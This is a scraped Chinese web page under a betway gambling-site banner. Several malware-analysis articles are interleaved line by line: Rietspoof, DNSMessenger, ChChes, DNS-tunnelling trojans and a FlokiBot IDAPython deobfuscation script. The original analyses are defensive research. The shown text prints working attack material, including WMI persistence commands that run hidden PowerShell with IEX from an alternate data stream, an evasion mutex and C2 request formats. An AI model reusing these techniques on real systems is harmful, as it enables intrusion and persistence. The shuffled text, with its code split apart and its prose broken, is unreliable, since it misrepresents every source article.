快捷搜索:

互联网知识

当前位置:betway必威官网手机版 > 互联网知识 > betway必威官网手机版:恶意软件DNSMESSENGER分析,

betway必威官网手机版:恶意软件DNSMESSENGER分析,

来源:http://www.abirdfarm.com 作者:betway必威官网手机版 时间:2019-12-21 20:08

自 2018 年 8 月以来,我们一直在监控名为 Rietspoof 的新恶意软件。Rietspoof 是一种新的多阶段恶意软件,具有一些非常引人注目的特性和功能。当我们刚开始跟踪 Rietspoof 时,它每月更新一次。但是,在 2019 年 1 月,我们注意到其更新节奏更改为了每日。

betway必威官网手机版 1

原标题:恶意软件DNSMESSENGER分析

betway必威官网手机版 2

ChChes – 使用Cookie头与C&C服务器通信的恶意软件

Rietspoof 利用多个阶段,结合各种文件格式,分发更多样化的恶意软件。我们的数据表明,第一阶段是通过即时消息客户端(如 Skype 或 Messenger)分发的。它分发了一个高度混淆的 Visual Basic 脚本,其中包含一个硬编码和加密的第二阶段——一个 CAB 文件。CAB 文件扩展为可执行文件,该文件大多使用 Comodo CA 颁发的有效证书进行数字签名。在第 4 阶段 .exe 安装一个下载程序。

原文首发:看雪论坛 http://bbs.pediy.com/thread-216639.htm 

写在前面的话

在2017年4月份,我们发布了一篇关于恶意程序的详细报道,该程序使用DNS隧道与C&C服务器进行通信。这项研究促使我们开发了一种技术来检测类似的威胁,这使得我们能够使用DNS隧道技术来收集大量的恶意软件样本。

自2016年10月以来,JPCERT/CC已经确认了发送到日本组织的电子邮件中,包含着一个带有可执行文件的ZIP附件。这些邮件假冒真实存在的发送人,从日本境内一个免费的邮件地址服务器发送。另外,这个可执行文件的图标伪装成为Word文档。当收件人执行文件时,计算机就感染了名叫ChChes的恶意软件。

有趣的是,第三阶段使用简单的 TCP 协议与 C&C 进行通信,其 IP 地址在二进制文件中是硬编码的。该协议使用 AES-CBC 模式加密。在第一版中,我们观察到密钥是从初始握手中获得的,而在第二版中,它是从硬编码的字符串中派生出来的。在第二版中,协议不仅支持自己的 TCP 协议,而且还尝试利用 HTTP/HTTPS 请求。考虑到改变通信协议所需的工作量,很少看到 C&C 通信协议被修改到这种程度。虽然改变混淆方法很常见,但 C&C 通信在大多数恶意软件中通常保持相对稳定。

✿ 用 IDAPython 完全静态去混淆

在这篇文章中,我将给大家介绍一种通过分析DNSMessenger恶意软件提取的方法,通过这个例子结果,你们可以讨论我使用的方法,并思考每个步骤的过程。

在本文中,我们将研究一些使用DNS隧道技术的典型的恶意程序。卡巴斯基实验室的安全产品使用通用的('Trojan.Denes.UDP.C&C'或'Backdoor.Win32.Denis。*')判断方法或人为检测的方法来检测它们。

因此,这篇博客文章将会着重介绍ChChes的特性,包括它的通讯。

此下载程序使用本地协议从硬编码地址获取另一个阶段。虽然 Stage 3 协议包括 bot 功能,但 Stage 4 仅作为指定的下载程序。

→ 鉴别函数

源代码

Trojan.Win32.Ismdoor.gen

下面的第一个恶意软件有多层的C&C通信协议结构,类似于OSI模型。由于这点将它与文章中的其他木马区分开来,而Trojan.Win32.Ismdoor.gen的创造者显然在设计和开发方面付出了很多努力。

当然,这个木马的传输层使用了DNS隧道技术。尽管DNS服务器配置和实际的协议允许这个值更大,但发出的'数据报'的长度还是被限制为60个字符,C&C服务器的命令被解析成IPv6地址。

典型的发送到C&C服务器的查询如下所示:

n.n.c...com

betway必威官网手机版 3

betway必威官网手机版 4

图 传输层请求和响应的结构

在DNS隧道传输层之上有一个会话层协议,这意味着其具有交换“短”和“长”数据包的功能。不同于传输层的是,它有一个机制来检查丢失的消息。当全部的包发送并接收后,传输层会话终止,会话层通过检查每个发送的数据包是否并正确接收从而关闭。这一切都取决于服务器决定使用哪个选项;例如,在受感染的计算机上使用“长”数据包协议上传文件。

betway必威官网手机版 5

图 短消息交换协议的例子

附加到目标邮件的ZIP文件

此外,C&C 服务器仅与设置为 USA 的 IP 地址通信,这使得我们认为攻击者正在针对特定目标进行攻击,或者攻击者仅出于测试原因使用 USA IP 范围。并且,有可能还有更多阶段尚未公布。以下是我们迄今为止的全面分析结果。

首先,我们注意到 dropper 重用了一些 payload 的重要函数。创造该 dropper 的一个 Rizzo 签名并在 payload 中加载它能够 IDA 让识别并重命名少部分函数。

这个恶意软件发现于一个SHA-256 hash: 340795d1f2c2bdab1f2382188a7b5c838e0a79d3f059d2db9eb274b0205f6981的恶意Word文档中。为了从宏中提取VBA源代码,我使用了OLETools工具,安装OLETools之后,只需运行命令olevba 就可以显示出宏。

短消息

在这个级别上,程序的操作可以分解为五个步骤:

告诉服务器会话ID

用数据包发送消息

发送已发送数据包的序号

接收即将收到的数据包序号

接收即将收到的数据包

一个会话例子如下图:

betway必威官网手机版 6

1.告诉服务器会话ID

每次通信会话建立时,程序都会生成一个GUID并将其发送到服务器。然后使用此GUID来标识该会话中的所有通信,并总是将其写入第三级域名的位置。在这种情况下,url的结构如下:

n.n.c...com

消息A67DDB8A2A17334765443253702AA3就是一个积极的回应。否则,GUID再次发送到服务器。

2.用数据包发送消息

正如我们前面所说,选定的通信机制对数据包大小施加了一定的限制。发出的消息被分成60个字节长的数据包,并以URL的形式发送:

..dr.. .com

得到的响应必须是A67DDB885A3432576548A2A3707334。

3.发送已发送数据包的序号

当所有数据包发送成功后,它们的序号将作为查询发送,格式如下:

n..f...com

应该注意的是,分组编号从0开始, 得到的响应为20202020202020202020202020202020。

4.接收即将收到的数据包序号

这一步的URL格式如下:

n.n.fc...com

响应必须采用以下格式:

A67D: DB8: 85A3: 4325: 7654: 8A2A ::

  1. 接收即将到来的数据包

接收下一个数据包的请求如下所示:

www. .s. ..com

即将收到的的消息以16字节的IPv6数据包的形式出现。

在这个案例中,虽然附加到目标邮件的一些ZIP文件中仅包含了可执行文件,但在某些情况下,它们也还包含着一些伪造的Word文档。下面是后一种情况的例子。

一、VBS 混淆 & 释放嵌入文件

betway必威官网手机版 7

VB和嵌入式PowerShell

长消息

在这种情况下,与服务器的通信可以分解成以下步骤:

发送文件被分割的数据包的数量;

发送文件;

定期向服务器发送查询以检查丢失的数据包;

重发丢失的数据包。

1.发送数据包的数量

查询: n....com

响应: A67DDB8A2A17334765443253702AA3

2.发送文件

查询: ..d...com

响应:服务器没有回复此消息,或发送“服务器失败”。

3.定期向服务器发送查询以检查丢失的数据包

程序定期地将下面的查询发送到服务器:

uff.< Number of packets >..com

响应:20202020202020202020202020202020

之后,实现上一部分中的“接收即将到来的数据包数量”和“接收即将到来的数据包”。

作为响应,发送服务器丢失的包的数量(以逗号分隔)。

4.重发丢失的数据包

查询: ..dl...com

OSI中的表示层负责编码和解码消息,服务器响应中的IPV4地址段是一个的常规16进制的ASCII字符串,向服务器发送查询包含的DNS查询,使用重新定义的索引表,并用Base64编码。

betway必威官网手机版 8

betway必威官网手机版 9

图 第一条消息和它的表示层的示例

应用程序层只是一组类似于C&C服务器的类GET查询:

检查连接:查询为字符串'M:CC?';

注册连接:这决定了可用的命令,以及受感染计算机和木马的ID(M:AV?appId = <...>&uniqueId = <...>);

确定注册命令;

'泛型'响应(M:ME?appId = <...>&message = <...>);

接收命令(M:GAC?appId = 8);

确认命令(M:CR?cd = );

发送文件(M:SF?commandId=CmdResult=|||);

接收文件(M:GF?)。

如上所述,这个木马是精心设计和编写的,有一个经过深思熟虑的通信系统以及一个有效载荷的丰富功能。下面是一些它的主要命令:

SI - 发送有关感染系统的信息;

RunNewVersion - 更新;

Restart - 重启;

remove - 删除;

CreateMimi1Bat - 执行 Mimikatz;

ExecuteKL - 激活键盘记录器;

RemoveKL - 删除由ExecuteKL创建的文件;

GetVersion - 报告木马的版本;

PauseUpload - 暂停上传文件到服务器;

ResumeUpload - 恢复上传文件到服务器;

PauseDownload - 暂停从服务器上下载文件;

ResumeDownload - 恢复从服务器上下载文件;

PWS - 截图;

DownloadFile - 从服务器下载文件;

UploadFile - 上传文件到服务器。

其他可用于木马的命令负责其操作的逻辑(如改变C&C地址等)。

betway必威官网手机版 10

Visual Basic 脚本的第一部分是用于读取和反混淆嵌入式二进制文件的函数。

✿ API 调用和钩子的静态去混淆

在这里我们发现了一个问题,攻击者为了让脚本更难被破解嵌入了大量换行间距,广泛分散内容,在使用OLETools显示宏之后,我们还有花大量时间来寻找真正有用的脚本。作者还使用了无偿字符串连接来破坏简单的字符串签名——这有助于攻击者逃避静态分析工具,寻找像"winmgmts:\.rootcimv2"这样的字符串,并可能会被以下内容抛出:"w" & "" & "in" & "" & "mgm" & "" & "ts" & "" & ":" & "" & "\" & "." & "r" & "" & "ootc" & "" & "imv" & "" & "2"我们使用lStr命令对变量进行解码:lStr = "powershell -ep bypass -C ""$data = [System.Convert]::FromBase64String('H4sIAAAAAAAEAO1da3PayNL 7l hol ... many many more lines ...如图:

Backdoor.Win32.ClIEcker

下一个样本使用了一种不同的工作流,基于ANY DNS

图1:附加ZIP文件示例

betway必威官网手机版 11

思路是用

betway必威官网手机版 12

数据包。该机制允许恶意程序从服务器接收随机结构的DNS数据包。这个木马没有任何逻辑上的子协议

只有发送和接收数据包的请求。我们能够检测到这个木马的几处不同,接下来我们描述一下这些特征。

Backdoor.Win32.ClIEcker的一个有趣的特点是如何找到受害者计算机的IP地址 - 它使用了Internet Explorer的COM接口。该木马包含一系列网页地址,访问者在其中可以看到他们自己的IP地址(例如http://www.ip-adress.com)。该木马随机选择其中一个地址访问,在页面主体中查找IP地址后面的字符串,并提取该字符串。为了尽可能掩盖这个查询,木马还将选择一个随机引用地址,并将其用于Internet Explorer的相应请求。

唯一不清楚的是为什么使用这种复杂的方法,通常,木马通过向站点返回包含IP地址的字符串作为HTML页面的数据,来找出计算机的IP地址。也许这样做是为了避免解决这个木马的IoC列表中的IP地址,或者它可能只是一个从代码存储库或论坛中进行的无意义的剪切和粘贴工作。

更复杂的是,木马程序支持一个命令,在服务器请求的情况下,在Internet

Explorer中打开一个网站 - 为此使用形式为“IEXPLORE.EXE

google.com”的简单调用,而不是复杂的COM交互。因此,虽然木马可能被检测为Trojan-Clicker,但正如我们在前面的文章中所解释的那样,木马程序通常使用虚拟桌面来执行此操作。

betway必威官网手机版 13

图 用于解析IP /引用地址和通过COM接收页面内容的URL地址示例

在发起请求时,描述受害者系统的几个参数与一个唯一的RC4密钥一起发送,该密钥是使用受害者计算机中的以下信息创建的:

操作系统的版本;

显示调制解调器连接是否被使用的逻辑标志位;

木马ID;

经加密的用户IP地址;

反病毒服务代码。

解释下最后一点,该木马包含一个安全软件列表;每个安全产品在发送到服务器的代码中都有一个编码号。例如,所有与McAfee产品相关的进程都将通过反病毒服务代码中的标志0x400表示。

接下来,我们将给出一些命令的描述:

betway必威官网手机版 14

代码号为8的命令值得特别注意,因为它包含了木马的主要功能。它的工作是下载和启动有效载荷。这个命令有以下的参数:

betway必威官网手机版 15

文件以TXT格式的DNS数据包中传输。

在默认情况下,所有与服务器进行的通信均使用基于受害者计算机信息生成的RC4密钥进行加密。但是,服务器可能会要求更改密钥,并在文件下载请求中发送新的密钥。在任何情况下,生成S盒所需的密钥都是自己加密的,随后使用结果字符串。

S盒根据分组编号进行修改,因此每个新分组都是唯一的。

解密完成后,使用CRC32检查生成的文件的完整性。

在上面的示例中,列出了两个具有相似名称的文件:一个伪造的Word文档和一个图标伪装成Word文档的可执行文件。通过运行此可执行文件,机器将会感染ChChes病毒。JPCERT / CC已确认这个可执行文件是经过特定签名证书签发的。伪造Word文档是无害的,它是一篇名叫“为什么唐纳德•特朗普会获胜”的在线文章。代码签名证书的详细信息会在附录A中描述。

从这个代码片段中可以看出,脚本开始以特定的偏移量读取代码,对 CAB 文件进行反混淆处理并为下一阶段作准备。代码逐字符转换为 ANSI 值并添加到 countervariable。在每一步,计数器与 val_01进行异或,并附加到已解码的字节。有趣的是,在每一步中,字符串 var_str_01 也会附加到 var_str_02。

Python 重新实现哈希过程,哈希所有被 FlokiBot 加载的所有

继续进一步研究。

Backdoor.Win32.Denis

Backdoor.Win32.Denis具有最简单的结构和DNS服务器通信功能。这个恶意软件与本文中描述的木马具有相同的名称,这是仅有的一点相同之处。

这个恶意程序使用一个DNS格式的数据包与DNS服务器进行通信; 在这种格式中,响应大小被限制为4字节。所有迹象表明这是一个常规的木马下载器,并且下载文件的速度很慢,发送到服务器的消息的典型格式如下所示:

IC...

“Container”域指的是木马程序的打包形式,其结构会因命令和响应而变化很大。UID是长度为0x20个字节长度的用户ID,它是一个Base32编码的字符串,经解码后具有以下的结构:

betway必威官网手机版 16

“container”也是一个Base32编码的字符串:

betway必威官网手机版 17

在这里一共有四种类型的容器,木马根据收到的命令和执行结果确定需要哪一个:

betway必威官网手机版 18

命令

betway必威官网手机版 19

从命令的描述可以看出,这个木马的目的是下载和启动文件。

本文由看雪翻译小组 fyb波 编译,来源securelist 转载请注明来自看雪社区

ChChes的通讯

betway必威官网手机版 20

API,然后将他们和我们用代码收集到的哈希值进行比较。如果匹配,我们就用 IDAPython 重命名该函数,使得反汇编更具可读性。因为

解开Base64

ChChes是一种恶意软件,它使用HTTP与特定站点通信以接收命令和模块。ChChes本身可以执行的函数很少。这意味着它通过从C&C服务器接收模块并将其加载到内存上来扩展其功能。

在此步骤之后,var_str_02 将用作新函数的参数。第二个参数是 TempPath 加文件名:

payload 用的是同样的 CRC 函数和同样的异或密钥,所以这个脚本对它们都管用。

下面是一个简单的Python3脚本,用于解码前面提到的Base64 blob

以下是ChChes发送的HTTP GET请求的示例。有时,使用HEAD方法而不是GET。

betway必威官网手机版 21

→ 字符串去混淆

import base64 import sys with open(sys.argv[1]) as f: encoded = f.read() sys.stdout.write(base64.b64decode(encoded))

GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1

在此阶段,CAB 文件将以 "JSWdhndk.sjk" 名称保存到计算机的 Temp 文件夹中。需要从中提取后续阶段,这通过使用 expand.exe 来完成:

跟 ZeuS 和 Fobber(Tinaba 的进化版)一样,很多字符串都用它们自己的一字节的密钥异或加密了。恶意软件将所有的 ENCRYPTED_STRING 存储在一个数组中,并将在传输过程中通过下标去混淆。加密过的字符串将以下面的数据结构展现:

解码后,生成的内容仍然无法读取。但我们可以知道其内容是GZIP格式的:存储在lStr中的VB字符串使用System.IO.Compression.GZipStream对象解压缩解码内容的命令;另一种识别方式是通过其(magic number),即开始文件签名(1F8B);我们还可以在Unix机器上使用file 命令来确定文件类型。现在,我们将使用gunzip 解压缩内容,这会创建一个具有相同名称的解压缩文件,打开解压缩的文件将显示模糊的PowerShell代码(第2层),经过一些清理和重构后,脚本行为的一些细节会变得更加明显。

Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs=;KQ=yt/e(omitted)

二、执行 PE 和掩盖痕迹

typedef struct {

Base64解码和解压缩的PowerShell

Accept: */*

该脚本首先通过简单地读取注册表项 "HKEY_USERSS-1-5-19EnvironmentTEMP" 来检查登录的用户是否为 Admin。如果成功,则将 func_read_Registry 设置为 True。

char xor_key;

滚动解压缩的脚本你会找到另一个Base64 blob,它充当下一阶段的payload,我将其命名为第3层payload。

Accept-Encoding: gzip, deflate

当此标志设置为 True 时,VBS 将日期更改为 01-01-2109,从%TEMP%删除 CAB 文件,运行扩展的可执行文件,并删除原始脚本以掩盖其痕迹。然后,它将日期更改回实际日期。在未释放文件的脚本中不使用具有 2109 年的日期。一开始,我们认为这只是一个错字,预计的临时日期是 01-01-2019,但该假设没有得到证实。

WORD size;

存储payload

User-Agent: [user agent]

betway必威官网手机版 22

void* strEncrypted;

如果受害者具有PowerShell 3.0或更高版本,则该脚本将编码的第3层payload存储在名为kernel32.dll的备用数据流中,位于%PROGRAMDATA%Windows。恶意软件作者通常用ADS来隐藏数据,只需列出其文件,你就无法找到payload。如果受害者具有较旧版本的PowerShell,则该脚本会在注册表中为密钥添加名为Path的新属性,以存储有效内容。如果用户具有管理员权限,有效内容将存储在HKLM:SoftwareMicrosoftWindowsCurrentVersion中,否则,它将存储在HKCU:SoftwareMicrosoftWindows中。

Host: [host name]

恶意软件作者的一个有趣举措是使用 cmd / c 从命令行运行命令。看一下这个命令的描述:

} ENCRYPTED_STRING;

注册表键

Connection: Keep-Alive

这很可能是想通过使用执行的命令生成更多命令来破坏行为检测。

首先,为弄明白如何没有错误的检索出它们,我会运行一段代码罗列 decrypt_string  的参数是如何入栈的。

这些脚本在%PROGRAMDATA%Windows中创建了一个名为kernel32.vbs的备用数据流,并向其写入代码,该代码可以从上一步中存储的任何位置检索并执行payload。每次用户登录30分钟后,攻击者会修改运行注册表项以执行kernel32.vbs。如果用户具有管理员权限,则目标密钥为HKLM:SoftwareMicrosoftWindowsCurrentVersionRun, 否则,目标密钥为HKCU:SoftwareMicrosoftWindowsCurrentVersionRun。

Cache-Control: no-cache

即使跳过上一步,如果当前用户不是 admin,则接下来运行扩展的 PE 文件。首先,该脚本删除计划任务 Microsoft Windows DOM 对象帮助程序。这是由恶意软件作者完成的,以确保他们可以在计划任务中创建一个新值,该任务指向前一阶段扩展的扩展 PE 文件 ; 它被设置为在一分钟后执行。然后从%TEMP%目录中删除 CAB 文件。

运行完我们的脚本后,这里有一个在 IDA 中反汇编后的样本:

创建新的WMI对象

可以看到,HTTP请求的路径采用/ [随机字符串] .htm,但是,Cookie字段的值不是随机的,而是与C&C服务器通信中使用的实际数据对应的加密字符串。该值可以使用以下Python脚本解密。

三、增加持久性

betway必威官网手机版 23

如果用户具有管理员权限,则脚本将创建永久WMI事件,并且监视用户登录,30分钟之后执行编码的payload。以下是代码。首先,它会删除现有的:

data_list = cookie_data.split(';')

在新版本的 VBS 中,恶意软件作者从 2019 年 1 月 22 日开始添加了一个新的持久性功能。该脚本在启动时创建一个名为 WindowsUpdate.lnk 的新 LNK 文件。此 lnk 文件在启动后运行扩展的 PE 文件,以确保在重新启动计算机时可执行文件。

→ 完整的 IDAPython 脚本

gwmi __eventFilter -namespace rootsubion | Remove-WmiObject gwmi CommandLineEventConsumer -Namespace rootsubion | Remove-WmiObject gwmi __filtertoconsumerbinding -Namespace rootsubion | Remove-WmiObject

dec = []

betway必威官网手机版 24

这是我用来去混淆该 payload 的完整的 Python 脚本:.

然后它会创建自己。如果你有PowerShell 3.0或更高版本,逻辑上讲是这样的:

for i in range(len(data_list)):

四、签名

它基于 IDAPython 和 PeFile。它专为静态分析设计,你不用开启任何 debugger 来让这段程序工作。它将完成以下的工作:

$event_filter = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “rootsubion” -Class __EventFilter -Arguments @{Name = $kernel32_filter; EventNamespace = “rootCIMV2”; QueryLanguage = “WQL”; Query = “Select * from __InstanceCreationEvent within 30 where targetInstance isa 'Win32_LogonSession'”} $event_consumer = Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “rootsubion” -Class CommandLineEventConsumer -Arguments @{Name = $kernel32_consumer; ExecutablePath = “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe”; CommandLineTemplate = "C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -WindowStyle Hidden -C `"IEX `$(Get-Content -Path $windows_path -Stream $kernel32_dll|Out-String)`""} Set-WmiInstance -Computername $env:COMPUTERNAME -Namespace “rootsubion” -Class __FilterToConsumerBinding -Arguments @{Filter = $event_filter; Consumer = $event_consumer} 预定任务

tmp = data_list[i]

几乎每个版本的 VBS 文件都包含一个新证书,例如:

明确bot引入的所有函数并以[API name]_wrap 的格式重命名它们。

该脚本还会创建一个计划任务,以便在用户登录后30分钟运行恶意软件。用于启动恶意软件的方法仅略有不同,具体取决于用户是否具有管理员权限。如果用户是非管理员, w 则用于执行内容 kernel32.vbs。否则,使用 Invoke-Expression cmdlet。

pos = tmp.find("=")

betway必威官网手机版 25

解析WINAPIHOOK 结构并以hook_[API name] 的格式重命名钩子函数。

DNS查询

key = tmp[0:pos]

简单的将这个代码块从 base64 转换为十六进制,然后解析这个 ASN.1 十六进制字符串时,我们获取到该证书的序列号:

解密字符串并将解密后的值放在解密字符串函数调用处的注释中。

现在我们已经讨论了攻击者实现恶意软件持久性的各种方法,让我们来看看下一个编码的payload是由什么组成的。在Base64解码和一些手动反混淆之后,你会注意到函数逻辑开头的这段代码,它包含了if之后的许多其他代码。

val = tmp[pos:]

betway必威官网手机版 26

# coding: utf-8

[bool]$flag = $false; $mutex = New-Object System.Threading.Mutex($true, "SourceFireSux", [ref] $flag); if (!$flag) { exit; }

md5 = hashlib.md5()

betway必威官网手机版 27

# ====================================================== #

乍一看,似乎这个if之后的恶意代码应该永远不会执行,但由于构造System.Threading.Mutex的语义,静态分析工具或弱动态分析系统可能无法实现将$flag变为true。从Source Fire来看,可能是加入了这种特定的逃避技术,以阻止Source Fire分析。很明显,代码使用nslookup命令重复查询DNS文本记录,这些查询的响应决定了程序的行为:1."idle" 会导致进程在继续之前在3500到5400秒之间休眠2."stop" 会提示进程退出3.继续4.使用Invoke-Expression执行查询响应由于这些领域不再具有活性,我们将不得不依赖先前Edmund Brumaghin和Colin Grady at Talos的数据,因为它们进行了原始分析。

md5.update(key)

大多数证书由 COMODO 或 Sectigo 颁发

#                                                        #

命令与控制通信

rc4key = md5.hexdigest()[8:24]

五、第 3 阶段 – 释放 bot

#      FLOKIBOT BOT32 DEOBFUSCATION IDA SCRIPT           #

为了响应DNS文本查询,你必须发送另一个payload,它包括一个gzip压缩和Base64编码的字符串,以及对第3层中dec函数的调用,用以解开它,所得的结果将传递给要执行的Invoke-Expression命令行。根据Talos的分析,这个payload重定向STDIN,STDOUT和STDERR,以便攻击者可以读取和写入命令行处理器,payload执行更多DNS查询命令,并与命令和控制服务器建立通信通道。从这里开始,攻击者可以通过DNS文本查询、响应发送要在受害者计算机的命令行,来解释器上执行的命令,并接收这些命令的结果。

rc4 = ARC4.new(rc4key)

到目前为止,我们已看到了 Rietspoof 第三阶段的两个版本,观察发现它们在通信协议方面大不相同。此阶段具有简单 bot 的功能:它可以下载 / 上传文件,启动进程或启动自毁功能 C&C 服务器也已经实现了基于 IP 地址的基本地理限制。当我们尝试从实验室网络与它进行通信时,我们没有收到任何 " 有趣 " 命令 ; 然而,当我们将假客户端移到美国时,我们收到了包含下一阶段的命令。

#                                                        #

最后的话

dec.append(rc4.decrypt(val.decode("base64"))[len(key):])

我们注意到第三阶段正在迅速发展,有时会同时运行两个不同的分支。在我们的分析过程中,通信协议被多次修改并添加了新功能。例如,早期版本支持字符串混淆,几天后实施,然后在 1 月 23 日,我们看到回滚了其中的一些更改。较新的版本还支持命令行开关 "/ s",用于将自己安装成名为 "windmhlp" 的服务。

#                    #

这是一段较旧但有趣的恶意软件分析,我将其分解为4个不同的层并描述了每个层的属性,具体来说,是回顾了此恶意软件所采用的混淆方式,以及它用于实现持久性的不同方法。

print("[*] decoded: " "".join(dec))

时间表

#                                                        #

*参考来源sentinelone,由周大涛编译,转载请注明来自FreeBuf.COM返回搜狐,查看更多

以下是机器感染后的通信流程。

· 15.1 混淆占位符,通信协议 v1

# ====================================================== #

责任编辑:

betway必威官网手机版 28

· 18.1 实现了混淆,服务安装,通信协议 v2

# IDAPython script to deobfuscate statically the bot32 payload of the banking malware FlokiBot.

图2通讯流程

· 22.1 混淆报废,通信协议 v1

# Imports are fully resolved, hooks are identified and named and strings are decrypted and added in comments, without using any debugger.

第一个请求

· 23.1 混淆报废,通信协议 v1,服务安装

# May take a few minutes to resolve imports.

ChChes首次发送的HTTP请求(请求1)的Cookie字段中的值包含以“A”开头的加密数据。以下是发送数据的示例。

Bot 要么被地理围栏阻挡,要么没有进行分发。通信具有简单的结构:

# Works with FlokiBot dropper with some small changes.

betway必威官网手机版 29

· Req:client_hello(在版本 2 中已弃用)

import sys

图3:第一个数据发送的示例

· Res:client_hello(在版本 2 中已弃用)

# sys.path.append("/usr/local/lib/python2.7/dist-packages")

如图3所示,发送的数据包含着计算机名称的信息。加密数据的格式因ChChes的版本而异。详情载于附录B。

· Req:ID

# idaapi.enable_extlang_python(True)

作为对请求1的响应,ChChes从C&C服务器接收并识别受感染机器ID的字符串(响应1)。该ID包含在Set-Cookie字段中,如下所示。

· Res:OK 或 HARDWARE

import pefile

betway必威官网手机版 30

· Req:HW(如果之前的回复是 HARDWARE)

# RunPlugin("python", 3)

图4:对第一个请求的响应示例

· Res:OK

CRC_POLY   = 0xEDB88320   # Depending on sample

请求模块和命令

只有在第一次看到发送的客户端 ID 时才会发送命令 "HARDWARE"。命令 "OK" 总是导致通信终止。这个简单的协议每隔几分钟定期执行一次。

XOR_KEY    = 0x34ED  # Depending on sample

接下来,ChChes发送HTTP请求以接收模块和命令(请求2)。此时,以“B”开头的以下数据被加密并包含在Cookie字段中。

通信协议 v1

ARRAY_ADDR  = 0x41B350    # Depending on sample

B[ID to identify the infected machine]

第三阶段通信的第一版使用一个相当简单的协议。首先,通过由消息和响应组成的握手生成密钥和初始化向量,包括 32 个随机字节和 4 个字节的 CRC32 校验和。然后,将随机字节一起进行 xor-ed,并在结果上使用 SHA256 得到密钥。类似地,在 SHA256 摘要上使用 MD5 会生成初始化向量。从现在开始,这些参数用于 AES-CBC 加密消息。请注意,填充函数设计奇怪:如果需要,最后一个块填充为 16 个字节,并且在最后一个块之后总是追加另外 16 个零字节。

ARRAY_ITER     = 12      # Size of a triplet (3*sizeof(DWORD))

作为对请求2的响应,从C&C服务器发送加密的模块和命令(响应2)。下面显示了解密后接收的模块和命令的示例。

betway必威官网手机版 31

i = 0

betway必威官网手机版 32

betway必威官网手机版 33

# ----------------------------------------------------

图5:接收的模块和命令的解密数据

初始握手和随后的密钥生成

......(代码省略)

命令与模块一起作为整体数据(如上所述)或单独发送。然后,将接收到命令的执行结果发送到C&C服务器,并且返回到接收模块和命令的处理。这样,通过重复接收来自C&C服务器的命令,受感染的机器将被远程控制。

betway必威官网手机版 34

→持久性

JPCERT / CC的研究已经确认具有以下功能的模块,这些功能被认为是ChChes的bot功能。

字符串 "HELLOn" 被混淆并随后被去混淆

bot 用一个伪随机名字把自己复制到 C:Documents and Settings[username]Application Data 并通过在 Windows 的启动文件夹创建一个 .lnk 来获得持久性。

使用AES加密通信

通信以 client_hello 开始,这条消息只包含 "HELLOn",希望 "HELLO n" 作为响应(实际上响应始终是 "HELLOnnnnnn … ")。然后,客户端发送命令 "ID: 2.10 n"。收到响应 "OK","HARDWARE" 或更强大的命令。在前者中,通信结束并且循环休眠两到五分钟。响应 "HARDWARE" 引发请求 "HW: CPU RAM: USER:",进程权限为 "admin"(进程具有管理员权限)或 "user"。同样,在该消息之后,接收到响应 "OK",相应地结束通信。

int startup_lnk() {

执行shell命令

betway必威官网手机版 35

int v0; // edi@1

上传文件

以下六个命令可以取代 OK:

_WORD *v1; // ecx@1

下载文件

betway必威官网手机版 36

int v2; // eax@2

加载和运行DLL

通信协议 v2

_WORD *betway必威官网手机版:恶意软件DNSMESSENGER分析,利用DNS隧道通信木马分析。v3; // ecx@2

查看bot命令的任务

Rietspoof 第三阶段的第二版也使用了一个类似的协议,增加了一些新的内容。第二版尝试通过 HTTP / HTTPS 进行通信,除非设置了代理,在代理情况下,它会转向原始 TCP。此新版本也避开了初始握手,因为它使用硬编码字符串 "M9h5an8f8zTjnyTwQVh6hYBdYsMqHiAz" 而不是对两个随机字符串进行异或。同样,这个字符串通过 SHA256,产生一个密钥,SHA256 经 MD5 生成一个初始化向量。这些参数用于 AES-CBC 加密消息。

const void *v4; // eax@2

此外还证实了,在感染后相对较早阶段接收到了用AES加密通信的模块。也就是使用此功能,在此之后与C&C服务器的通信将在现有加密方法之上使用AES加密。

betway必威官网手机版 37

const void *v5; // esi@3

小结

混淆 "HELLO n" 字符串

int strStartupFolder; // [sp 8h] [bp-20Ch]@1

自2016年10月以来,ChChes是一种相对较新的恶意软件。由于这可能会持续用于有针对性的攻击,JPCERT / CC将密切关注ChChes和使用恶意软件进行攻击活动。

由恶意软件生成的 HTTP GET 请求是普通的,除了可能三个标头之外。下面是 HTTP 请求的示例。请注意,Content-MD5 标头不是必需的 ; 此外,Content-MD5 标头以自定义和标准的不合规方式使用。此外,User-agent 字符串在二进制文件中是硬编码的。

int v8; // [sp 210h] [bp-4h]@6

这里演示的样本的哈希值在附录C中描述.JPICERT / CC已经确认的恶意软件的目标主机在附录D中列出。我们建议您检查您的机器是否正在与这些主机通信。

GET /? HTTP/1.1 Host: Connection:close Content-MD5: User-agent:Mozilla/5.0 ( Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1 ) Gecko/20061204 Firefox/2.0.0.1

v0 = 0;

谢谢阅读。

幸运的是,对于我们来说,旧协议仍然适用于使用 HTTP 代理的情况。我们相信这在分析恶意软件期间可以起到防止中间人攻击的保护作用。但是,在我们的例子中,它允许我们部署一个只作很少修改的新跟踪脚本,因为只更改了密钥协商协议。

SHGetFolderPathW_wrap(0, 7, 0, 0, &strStartupFolder); // 7 = CSIDL_STARTUP

六、第 4 阶段 – 下载程序

v1 = (_WORD *)PathFindFileNameW_wrap(&pFilename);

此阶段尝试通过 TCP 上的 NTLM 协议建立身份验证的通道,其 C&C 的 IP 地址是硬编码的。

if ( v1 && (v2 = cstm_strlen(v1), sub_40FECB(v2 - 4, v3), v4) )

betway必威官网手机版 38

v5 = v4;

启动 NTLM 身份验证

else

betway必威官网手机版 39

v5 = 0;

认证和从 C&C 服务器接收数据的主循环

if ( v5 ) {

之后,它开始通过上述通道与 C&C 通信,目的是进行下一个阶段或可能的最终有效载荷。

v8 = 0;

七、总结

if ( build_lnk((int)&v8, (const char *)L"%s\%s.lnk", &strStartupFolder, v5) > 0 )

如上所述,这个新的恶意软件 Rietspoof 在 2019 年 1 月的活动大幅增加。在此期间,开发人员使用了几个有效的证书来为相关文件签名。此外,有效载荷也经历了开发,即多次改变 Stage 3 通信协议的实现。虽然 Rietspoof 的数据很广泛,但动机和运作方式仍然未知,目标也未知。而且,迄今为止,大多数防病毒软件很少检测到此恶意软件。

v0 = v8;

